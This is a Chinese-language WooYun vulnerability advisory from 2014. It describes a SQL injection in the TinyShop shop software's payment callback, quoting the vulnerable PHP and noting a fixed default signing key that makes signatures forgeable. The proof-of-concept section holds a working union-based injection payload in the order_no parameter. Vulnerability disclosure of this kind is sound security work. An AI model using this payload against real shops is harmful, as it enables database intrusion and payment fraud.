当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082514

漏洞标题:TinyShop SQL注入一枚

相关厂商:tinyrise.com

漏洞作者: zxx

提交时间:2014-11-10 17:17

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

20140926

详细说明:

/protected/controllers/payment.php中 callback 函数

public function callback(){
//从URL中获取支付方式
$payment_id = Filter::int(Req::get('payment_id'));
$payment = new Payment($payment_id);
$paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1
。。。
//执行接口回调函数
$callbackData = Req::args();//array_merge($_POST,$_GET);
unset($callbackData['con']);
unset($callbackData['act']);
unset($callbackData['payment_id']);
unset($callbackData['tiny_token_redirect']);
$return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo);//$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。
//支付成功
if($return == 1)
{
//充值方式
if(stripos($orderNo,'recharge_') !== false)
{
$tradenoArray = explode('_',$orderNo);
$recharge_no = isset($tradenoArray[1]) ? $tradenoArray[1] : 0;
$recharge_id = Order::recharge($recharge_no,$payment_id);//recharge_no带入查询产生注入
if($recharge_id){
//$this->redirect("/ucenter/account/$recharge_id");
$model = new Model('recharge');
$obj = $model->where("id=".$recharge_id.' and status=1')->find();
if($obj){
$msg = array('type'=>'success','msg'=>'充值成功!','content'=>'充值编号:'.$recharge_no.',充值方式:'.$obj['payment_name'],'redirect'=>'/ucenter/account');
$this->redirect('/index/msg',true,$msg);
}
}
$msg = array('type'=>'fail','msg'=>'支充值失败!');
$this->redirect('/index/msg',false,$msg);
exit;
}

}
。。。
}


/protected/classes/payments/pay_balance.php中

public function callback($callbackData,&$paymentId,&$money,&$message,&$orderNo)
{
//除去待签名参数数组中的空值和签名参数
$filter_param = $this->filterParam($callbackData);
//对待签名参数数组排序
$para_sort = $this->argSort($filter_param);
//生成签名结果
$payment = new Payment($paymentId);
$paymentInfo = $payment->getPayment();
$mysign = $this->buildSign($para_sort,$paymentInfo['partner_key']); //生成$mysign,利用数据库中余额支付对应的partner_key,这个key是默认不变的。
if($callbackData['sign'] == $mysign) $callbackData['sign']是可控的。
{
//回传数据
$orderNo = $callbackData['order_no']; //orderNo也可以被我们控制
$money = $callbackData['total_fee'];
if($callbackData['order_status'] == 'TINY_SECCESS')
{
return true;
}
$message = '支付失败';
}
else
{
$message = '签名不正确';
}
return false;
}


}


另,buildSign算法:

public function buildSign($sort_para,$key,$sign_type = "MD5")
{
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = $this->createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
$mysgin = md5($prestr);
return $mysgin;
}


不具体跟了,我们做一个代理,帮我们生成sign就好。

漏洞证明:

http://127.0.0.1/index.php?con=payment&act=callback&payment_id=1
order_no=recharge_2' union select '111 union select 1,2,3,4,5,user(),7 %23 ',2,3,4,5,user(),1 %23 _2_3&order_status=TINY_SECCESS
这里利用满特别的,先用一个union 控制订单状态和订单号,把状态变为1,进入条件语句,订单号变为111 union select 1,2,3,4,5,user(),7 %23带入查询,控制回显。

QQ图片20141108121847.jpg


修复方案:

过滤参数,随机key

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无


漏洞评价:

评论